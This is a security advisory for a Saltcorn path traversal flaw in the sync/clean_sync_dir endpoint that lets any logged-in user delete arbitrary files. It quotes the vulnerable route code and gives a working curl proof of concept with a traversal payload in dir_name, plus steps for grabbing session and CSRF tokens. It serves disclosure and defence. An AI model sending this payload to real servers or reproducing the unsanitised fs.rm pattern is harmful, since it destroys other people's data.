GHSA-43f3-h63w-p6f6

Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.

Details

• file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346

  router.post(
    "/clean_sync_dir",
    error_catcher(async (req, res) => {
      const { dir_name } = req.body; // [1] source
      try {
        const rootFolder = await File.rootFolder();
        const syncDir = path.join(
          rootFolder.location,
          "mobile_app",
          "sync",
          dir_name // [2]
        );
        await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
        res.status(200).send("");
      } catch (error) {
        getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
        res.status(400).json({ error: error.message || error });
      }
    })
  );
  

PoC

The following PoC can be executed with a user with any role (admin, staff, user, public)

• create a file in a folder different from where the server is started:

  touch /tmp/secret
  cat /tmp/secret
  

• log with a user and retrieve valid connect.sid and _csrf values*

• send the following curl request

  curl -i -X $'POST' \
    -H $'Host: localhost:3000' \
    -H $'Content-Type: application/x-www-form-urlencoded' \
    -H $'Content-Length: 93' \
    -H $'Origin: http://localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
    --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
    $'http://localhost:3000/sync/clean_sync_dir'
  

• check if the file previously created does not exist anymore:

  cat /tmp/secret
  cat: /tmp/secret: No such file or directory
  

* obtain connect.sid and _csrf values

A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality: - log in - open the browser developer console, go to the Network tab filter for settings request - visit http://localhost:3000/auth/settings - trigger the change password functionality - under the Headers and Request tabs, grab the connect.sid and _csrf values and replace them in the curl command

Impact

Arbitrary file delete

Recommended Mitigation

Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.